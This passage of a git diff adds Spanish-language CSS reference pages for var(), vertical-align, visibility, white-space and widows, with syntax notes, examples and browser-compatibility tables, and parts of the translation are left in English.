+<p><a href="es/CSS/inheritance#Propiedades_heredadas_y_no_heredadas">Propiedades heredadas y no heredadas</a>, <code><a href="es/CSS/initial">initial</a></code>
+</p><p><br>
+</p>
+<div class="noinclude">
+<p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Languages</span>
+</p>
+</div>
+{{ languages( { "en": "en/CSS/initial_value", "fr": "fr/CSS/Valeur_initiale", "ja": "ja/CSS/initial_value", "ko": "ko/CSS/initial_value", "pl": "pl/CSS/Warto\u015b\u0107_pocz\u0105tkowa" } ) }}
diff --git a/files/es/web/css/var()/index.html b/files/es/web/css/var()/index.html
new file mode 100644
index 0000000000..47e61d90d9
--- /dev/null
+++ b/files/es/web/css/var()/index.html
@@ -0,0 +1,134 @@
+---
+title: var()
+slug: Web/CSS/var()
+translation_of: Web/CSS/var()
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La función <strong><code>var()</code></strong> puede ser utilizada como valor en cualquier propiedad de un elemento. La función var() no puede ser usada como nombre de una propiedad, selector o cualquier cosa que no sea un valor de propiedad. (Hacerlo provoca normalmente una sintaxis erronea o bien un valor que no tiene conexión con la variable).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>El primer parámetro que recibe la función es el nombre de la custom property que será reemplazada. Se puede utilizar un segundo parámetro opcional como fallback de el primero. Si la custom property referenciada por el primer parámetro no es válida, entonces la función utiliza el valor del segúndo parámetro.</p>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>&lt;custom-property-name&gt;</dt>
+ <dd>El nombre de la custom property a la que se hace referencia, representada por un identificador válido, es decir, cualquier nombre que comience por dos guiones. Las "custom properties" son para uso exclusivo de autores y usuarios. CSS no dará nunca un significado más alla del que se detalla aquí.</dd>
+ <dt>&lt;declaration-value&gt;</dt>
+ <dd>El valor por defecto de la custom property en caso de que la custom property referenciada sea inválida. Este valor puede contener cualquier caracter salvo algunos con significado especial como saltos de linea, llaves sin cerrar, exclamaciones o puntos y comas .</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css notranslate">:root {
+  --main-bg-color: pink;
+}
+
+body {
+  background-color: var(--main-bg-color);
+}
+</pre>
+
+<pre class="brush: css notranslate">/* Fallback */
+/* En el estilo del componente: */
+.component .header {
+  color: var(--header-color, blue);
+}
+
+.component .text {
+  color: var(--text-color, black);
+}
+
+/* En el estilo de la aplicación: */
+.component {
+  --text-color: #080; /* header-color no está definido y por lo tanto permanece con el valor "blue" definido como fallback */
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Variables', '#using-variables', 'var()')}}</td>
+   <td>{{Spec2('CSS3 Variables')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica </th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>48<sup>[2]</sup><br>
+    49</td>
+   <td>{{CompatGeckoDesktop("29")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("31")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>36</td>
+   <td>9.3<sup>[3]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica </th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>50</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>37</td>
+   <td>9.3<sup>[3]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Esta característica es activada con la preferencia layout.css.variables.enabled, por defecto, con valor false y usando la sintaxis angituga en Gecko 29. Desde Gecko 31 esta preferencia está activada por defecto y utiliza la sintaxis --<var>nombredevariable.</var></p>
+
+<p>[2] Chrome 48 activable a través de el flag "Experimental Web Platform features" flag en <code>chrome://flags</code>.</p>
+
+<p>[3] Ver {{webkitbug(19660)}}.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Using_CSS_variables">Usando variables CSS</a></li>
+</ul>
diff --git a/files/es/web/css/vertical-align/index.html b/files/es/web/css/vertical-align/index.html
new file mode 100644
index 0000000000..f8f35405c7
--- /dev/null
+++ b/files/es/web/css/vertical-align/index.html
@@ -0,0 +1,161 @@
+---
+title: vertical-align
+slug: Web/CSS/vertical-align
+translation_of: Web/CSS/vertical-align
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La propiedad <code>vertical-align</code> de <a href="/en-US/docs/CSS" title="CSS">CSS</a> especifica el alineado vertical de un elemento en línea o una celda de una tabla.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>vertical-align:</code> <code>baseline</code> | <code>sub</code> | <code>super</code> | <code>text-top</code> | <code>text-bottom</code> | <code>middle</code> | <code>top</code> | <code>bottom</code> | &lt;percentage&gt; | <a href="/en-US/docs/CSS/length" title="CSS/length">&lt;length&gt;</a></pre>
+
+<h3 id="Valores_(para_elementos_en_línea)">Valores (para elementos en línea)</h3>
+
+<p>La mayoría de los valores de alinean verticalmente el elemento de forma relativa al elemento padre:</p>
+
+<dl>
+ <dt><code>baseline</code></dt>
+ <dd>Alinea la línea base del elemento con la línea base del padre. La línea base de algunos <a href="/es/docs/CSS/Replaced_element" title="/es/docs/CSS/Replaced_element">elementos reemplazados</a>, como  {{HTMLElement("textarea")}} no está especificado en la especificación HTML, que significa que su comportamiento puede cambiar en un navegador u otro.</dd>
+ <dt><code>sub</code></dt>
+ <dd>Alinea la línea base del elemento con la línea subscript del elemento padre.</dd>
+ <dt><code>super</code></dt>
+ <dd> Alinea la línea base del elemento con la línea superscript del elemento padre.</dd>
+ <dt><code>text-top</code></dt>
+ <dd>Aligns the top of the element with the top of the parent element's font.</dd>
+ <dt><code>text-bottom</code></dt>
+ <dd>Aligns the bottom of the element with the bottom of the parent element's font.</dd>
+ <dt><code>middle</code></dt>
+ <dd>Aligns the middle of the element with the middle of lowercase letters in the parent.</dd>
+ <dt><code><a href="/en-US/docs/CSS/length" title="CSS/length">&lt;length&gt;</a></code></dt>
+ <dd>Aligns the baseline of the element at the given length above the baseline of its parent.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Like &lt;length&gt; values, with the percentage being a percent of the {{ Cssxref("line-height") }} property.
+ <p>For elements that do not have a baseline, the bottom margin edge is used instead.</p>
+
+ <p>However, two values vertically align the element relative to the entire line rather than relative to its parent:</p>
+ </dd>
+ <dt><code>top</code></dt>
+ <dd>Align the top of the element and its descendants with the top of the entire line.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>Align the bottom of the element and its descendants with the bottom of the entire line.</dd>
+</dl>
+
+<p>Negative values are allowed.</p>
+
+<h3 id="Valores_(para_celdas_de_tablas)">Valores (para celdas de tablas)</h3>
+
+<dl>
+ <dt><code>baseline</code> (and <code>sub</code>, <code>super</code>, <code>text-top</code>, <code>text-bottom</code>, <code>&lt;length&gt;</code>, and <code>&lt;percentage&gt;</code>)</dt>
+ <dd>Align the baseline of the cell with the baseline of all other cells in the row that are baseline-aligned.</dd>
+ <dt><code>top</code></dt>
+ <dd>Align the top padding edge of the cell with the top of the row.</dd>
+ <dt><code>middle</code></dt>
+ <dd>Center the padding box of the cell within the row.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>Align the bottom padding edge of the cell with the bottom of the row.</dd>
+</dl>
+
+<p>Negative values are allowed.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: css">img {
+	vertical-align: bottom;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'vertical-align') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Defines <code>visibility</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visudet.html#propdef-vertical-align', 'vertical-align') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Add the {{cssxref("&lt;length&gt;")}} value and allows it to be applied to element with a {{ cssxref("display") }} type of <code>table-cell</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#vertical-align', 'vertical-align') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de los navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1.0") }}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile("1.0") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{ Cssxref("line-height") }}, {{ Cssxref("text-align") }}, {{ Cssxref("margin") }}</li>
+ <li>
+  <p><a href="http://phrogz.net/css/vertical-align/index.html" title="http://phrogz.net/css/vertical-align/index.html">Understanding <code>vertical-align</code>, or "How (Not) To Vertically Center Content"</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/css/visibility/index.html b/files/es/web/css/visibility/index.html
new file mode 100644
index 0000000000..e60f6559f0
--- /dev/null
+++ b/files/es/web/css/visibility/index.html
@@ -0,0 +1,80 @@
+---
+title: visibility
+slug: Web/CSS/visibility
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Referencia_CSS
+  - Todas_las_Categorías
+translation_of: Web/CSS/visibility
+---
+<p> </p>
+
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>La propiedad <code>visibility</code> se usa para dos efectos:</p>
+
+<ol>
+ <li>El valor <code>hidden</code> esconde un elemento, pero deja (vacío) el espacio donde debería aparecer.</li>
+ <li>El valor <code>collapse</code> esconde filas o columnas de una tabla.</li>
+</ol>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor incial") }}: {{ Cssxref("visible") }}</li>
+ <li>Se aplica a: Todos los elementos.</li>
+ <li>{{ Cssxref("inheritance", "Valor heredado") }}: Sí</li>
+ <li>Porcentajes: N/A</li>
+ <li>Medio: {{ Xref_cssvisual() }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculado") }}: Como se especifica.</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">visibility: visible | hidden | collapse | {{ Cssxref("inherit") }}
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>El elemento se muestra normalmente.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>El elemento está escondido, pero los demás elementos se colocan como si ése elemento estuviera presente. Esto funciona como si el elemento fuera absolutamente transparente. Los elementos, con la propiedad <code>visibility: visible</code>, descendientes de ése elemento serán visibles.</dd>
+ <dt><code>collapse</code></dt>
+ <dd>Para tablas, filas, columnas y grupos de tablas. Las filas o columnas se esconden y el espacio que normalmente ocupan, es ocupado (como si aplicáramos el código <code>{{ Cssxref("display") }}: none</code> a las filas/columnas de la tabla). Sin embargo, el tamaño de las columnas o filas restantes, es calculado como si las filas/columnas fusionadas estuvieran presentes. Esta propiedad se diseñó así, al fin de permitir la supresión rápida de filas/columnas de una tabla sin necesidad de calcular de nuevo los altos y los anchos de cada porción de tabla. (Para otros elementos, <code>collapse</code> funciona como <code>hidden</code>).</dd>
+</dl>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">p        { visibility: hidden; }   /* Los párrafos no serán visibles                       */
+p.showme { visibility: visible; }  /* excepto los que tengan class = showme (clase= muéstrame)                */
+tr.col   { visibility: collapse; } /* las filas de la tabla con la clase<em>col</em> se fusionarán*/
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>El soporte para <code>visibility: collapse</code> no se encuentra o está implementado parcialmente en algunos navegadores modernos. En muchos casos será tratado como <code>visibility: hidden</code> en elementos que no son filas / columnas de una tabla.</p>
+
+<p><code>visibility:collapse</code> puede cambiar el aspecto de una tabla si hay anidadas tablas dentro de celdas fusionadas, a no ser que se especifique explícitamente <code>visibility: visible</code> en la tabla anidada.</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visufx.html#visibility">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("display") }}</p>
+
+<p> </p>
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki Languages</span></p>
+</div>
+
+<p>{{ languages( { "fr": "fr/CSS/visibility", "pl": "pl/Dokumentacja_CSS/W\u0142asno\u015bci_szablonu", "en": "en/CSS/visibility" } ) }}</p>
diff --git a/files/es/web/css/white-space/index.html b/files/es/web/css/white-space/index.html
new file mode 100644
index 0000000000..ddfc135d7c
--- /dev/null
+++ b/files/es/web/css/white-space/index.html
@@ -0,0 +1,421 @@
+---
+title: white-space
+slug: Web/CSS/white-space
+translation_of: Web/CSS/white-space
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <strong><code>white-space</code></strong> de CSS, determina cómo se maneja el espacio en blanco dentro de un elemento. Para hacer que las palabras se dividan <em>en sí mismas</em>, usa {{cssxref("overflow-wrap")}}, {{cssxref("word-break")}}, o {{cssxref("hyphens")}} en su lugar.</p>
+
+<pre class="brush: css no-line-numbers">/* Valores con palabras clave */
+white-space: normal;
+white-space: nowrap;
+white-space: pre;
+white-space: pre-wrap;
+white-space: pre-line;
+
+/* Valores Globales */
+white-space: inherit;
+white-space: initial;
+white-space: unset;
+</pre>
+
+<div class="hidden" id="white-space">
+<pre class="brush: html">&lt;div class="grid"&gt;
+&lt;div class="col"&gt;
+  &lt;div class="cell"&gt;
+    &lt;div class="label"&gt;normal&lt;/div&gt;
+    &lt;div&gt;
+  &lt;p class="wspNormal"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+    Nulla pellentesque metus eget massa feugiat lobortis.
+  &lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="cell"&gt;
+    &lt;div class="label"&gt;pre-wrap&lt;/div&gt;
+    &lt;div&gt;
+  &lt;p class="wspPreWrap"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+    Nulla pellentesque metus eget massa feugiat lobortis.
+  &lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="cell"&gt;
+    &lt;div class="label"&gt;pre-line&lt;/div&gt;
+    &lt;div&gt;
+  &lt;p class="wspPreLine"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+    Nulla pellentesque metus eget massa feugiat lobortis.
+  &lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="cell"&gt;
+    &lt;div class="label"&gt;nowrap&lt;/div&gt;
+    &lt;div&gt;
+  &lt;p class="wspNowrap"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+    Nulla pellentesque metus eget massa feugiat lobortis.
+  &lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="cell"&gt;
+    &lt;div class="label"&gt;pre&lt;/div&gt;
+    &lt;div&gt;
+  &lt;p class="wspPre"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+    Nulla pellentesque metus eget massa feugiat lobortis.
+  &lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="note"&gt;
+    Los ejemplos anteriores aplican al siguiente HTML (square represents white spaces):
+    &lt;pre&gt;☐☐&amp;lt;p&amp;gt;
+☐☐☐☐Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+☐☐☐☐Nulla pellentesque metus eget massa feugiat lobortis.
+☐☐&amp;lt;/p&amp;gt;&lt;/pre&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+}
+
+pre { margin-bottom: 0; }
+
+.grid {
+  width: 100%;
+  height: 100%;
+  display: flex;
+  background: #EEE;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+  justify-content: space-between;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+}
+
+.cell {
+  box-sizing: border-box;
+  margin: .5em;
+  padding: 0;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: center;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em;
+  font: .8em sans-serif;
+  text-align: left;
+  flex: none;
+}
+
+p {
+  width: 50%;
+  font: .8em sans-serif;
+  max-width: 100%;
+  box-sizing: border-box;
+  overflow: hidden;
+  resize: horizontal;
+  background: #E4F0F5;
+  padding: .5em;
+  margin: .5em auto 0;
+  text-align: left;
+}
+
+.wspNormal  { white-space: normal; }
+.wspNowrap  { white-space: nowrap; }
+.wspPre     { white-space: pre; }
+.wspPreWrap { white-space: pre-wrap; }
+.wspPreLine { white-space: pre-line; }</pre>
+</div>
+
+<p>{{EmbedLiveSample("white-space", "100%", 530, "", "", "example-outcome-frame")}}</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<p>La propiedad <code>white-space</code> se especifica con una de las palabras clave de la siguiente lista de valores.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Secuencias de espacios en blanco son reducidas a un solo espacio. Saltos de linea en el origen son tratados como un espacio en blanco. Agregar saltos de linea necesarios para llenar el contenedor.</dd>
+ <dt><code>nowrap</code></dt>
+ <dd>Reduce espacios en blanco igual que el modo <code>normal</code>, pero suprime saltos de linea del origen.</dd>
+ <dt><code>pre</code></dt>
+ <dd>Secuencias de espacios son preservados. Lineas son solo rotas en caracteres de saltos de linea encontrado en el origen y en elementos html {{HTMLElement("br")}}.</dd>
+ <dt><code>pre-wrap</code></dt>
+ <dd>Secuencias de espacio son preservadas. Lineas son rotas en caracteres de saltos de linea, en elementos html {{HTMLElement("br")}}, y agrega saltos necesarios para rellenar los cuadros de linea</dd>
+ <dt><code>pre-line</code></dt>
+ <dd>Secuencias de espacios en blanco son reducidas. Lineas son rotas en caracteres de salto de linea, en elementos html {{HTMLElement("br")}}, y los necesarios para rellenar los cuadros de linea</dd>
+</dl>
+
+<p>La siguiente tabla resume el comportamiento de los diversos valores de <code>white-space</code>:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th> </th>
+   <th>Nuevas líneas</th>
+   <th>Espacios y tabulaciones</th>
+   <th>Ajuste de texto</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th><code>normal</code></th>
+   <td>Contraer</td>
+   <td>Contraer</td>
+   <td>Ajustar</td>
+  </tr>
+  <tr>
+   <th><code>nowrap</code></th>
+   <td>Contraer</td>
+   <td>Contraer</td>
+   <td>No ajustar</td>
+  </tr>
+  <tr>
+   <th><code>pre</code></th>
+   <td>Preservar</td>
+   <td>Preservar</td>
+   <td>No ajustar</td>
+  </tr>
+  <tr>
+   <th><code>pre-wrap</code></th>
+   <td>Preservar</td>
+   <td>Preservar</td>
+   <td>Ajustar</td>
+  </tr>
+  <tr>
+   <th><code>pre-line</code></th>
+   <td>Preservar</td>
+   <td>Contraer</td>
+   <td>Ajustar</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_básico">Ejemplo básico</h3>
+
+<pre class="brush: css">code {
+  white-space: pre;
+}</pre>
+
+<h3 id="La_línea_sedivide_dentro_de_los_elementos_HTMLElement(pre)">La línea sedivide dentro de los elementos {{HTMLElement("pre")}}</h3>
+
+<pre class="brush: css">pre {
+  word-wrap: break-word;      /* IE 5.5-7 */
+  white-space: -moz-pre-wrap; /* Firefox 1.0-2.0 */
+  white-space: pre-wrap;      /* Modern browsers */
+}</pre>
+
+<h2 id="See_in_action" name="See_in_action">See it in action</h2>
+
+<div class="hidden">
+<pre class="brush: html">    &lt;div id="css-code" class="box"&gt;
+     p { white-space: &lt;select&gt;
+       &lt;option&gt;normal&lt;/option&gt;
+       &lt;option&gt;nowrap&lt;/option&gt;
+       &lt;option&gt;pre&lt;/option&gt;
+       &lt;option&gt;pre-wrap&lt;/option&gt;
+       &lt;option&gt;pre-line&lt;/option&gt;
+     &lt;/select&gt; }
+    &lt;/div&gt;
+    &lt;div id="results" class="box"&gt;
+    &lt;p&gt;    Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+
+    Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+
+    Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+
+    Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.&lt;/p&gt;
+    &lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box {
+  width: 300px;
+  padding: 16px;
+  border-radius: 10px;
+}
+
+#css-code {
+  background-color: rgb(220,220,220);
+  font-size: 16px;
+}
+
+#results {
+  background-color: rgb(230,230,230);
+  overflow-x: scroll;
+  height: 400px;
+  white-space: normal;
+  font-size: 14px;
+}</pre>
+
+<pre class="brush: js">var select  = document.querySelector("#css-code select");
+var results = document.querySelector("#results p");
+select.addEventListener("change", function(e) {
+  results.setAttribute("style", "white-space: "+e.target.value);
+})</pre>
+</div>
+
+<h3 id="Fuente">Fuente</h3>
+
+<pre>    &lt;p&gt;    Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+
+    Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+
+    Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+
+    Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS_Resultado">CSS + Resultado</h3>
+
+<p>{{ EmbedLiveSample('See_in_action', '80%', '500px') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#propdef-white-space', 'white-space')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Precisely defines the breaking algorithms.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#white-space-prop', 'white-space')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definition inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (<code>normal</code> y <code>nowrap</code>)</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>5.5<sup>[1]</sup></td>
+   <td>4.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>pre</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+   <td>6.0</td>
+   <td>4.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>pre-wrap</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("1.9")}}</td>
+   <td>8.0</td>
+   <td>8.0</td>
+   <td>3.0 (522)</td>
+  </tr>
+  <tr>
+   <td><code>pre-line</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>8.0</td>
+   <td>9.5</td>
+   <td>3.0 (522)</td>
+  </tr>
+  <tr>
+   <td>Soporte en <code>&lt;textarea&gt;</code></td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("36")}}</td>
+   <td>5.5</td>
+   <td>4.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer 5.5+ supports {{Cssxref("word-wrap")}}<code>: break-word;</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Propiedades que define como rompen las palabras d<em>entro de ellas mismas</em>: {{cssxref("overflow-wrap")}}, {{cssxref("word-break")}}, {{cssxref("hyphens")}}</li>
+</ul>
diff --git a/files/es/web/css/widows/index.html b/files/es/web/css/widows/index.html
new file mode 100644
index 0000000000..bcc8bba968
--- /dev/null
+++ b/files/es/web/css/widows/index.html
@@ -0,0 +1,113 @@
+---
+title: widows
+slug: Web/CSS/widows
+translation_of: Web/CSS/widows
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <a href="/en-US/docs/CSS" title="CSS">CSS</a>  <strong><code>widows</code></strong> especifica el número minimo de lineas en un contenedor de bloques que se deben mostrar en la parte superior de la <a href="/en-US/docs/Web/CSS/Paged_Media">pagina</a>, region o <a href="/en-US/docs/Web/CSS/CSS_Columns">columna</a>.  Esta propiedad se usa normalmente para controlar como se producen las pausas.  </p>
+
+<pre class="brush:css no-line-numbers">/* valores &lt;enteros&gt; */
+widows: 2;
+widows: 3;
+
+/* valores globales */
+widows: inherit;
+widows: initial;
+widows: unset;
+</pre>
+
+<div class="note">
+<p>En la tipografia, un <em>widow</em> is la ultima linea de un paragrafo que aparece solo en la parte superior de la pagina.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>The minimum number of lines that can stay by themselves at the top of a new fragment after a fragmentation break. The value must be positive.</dd>
+</dl>
+
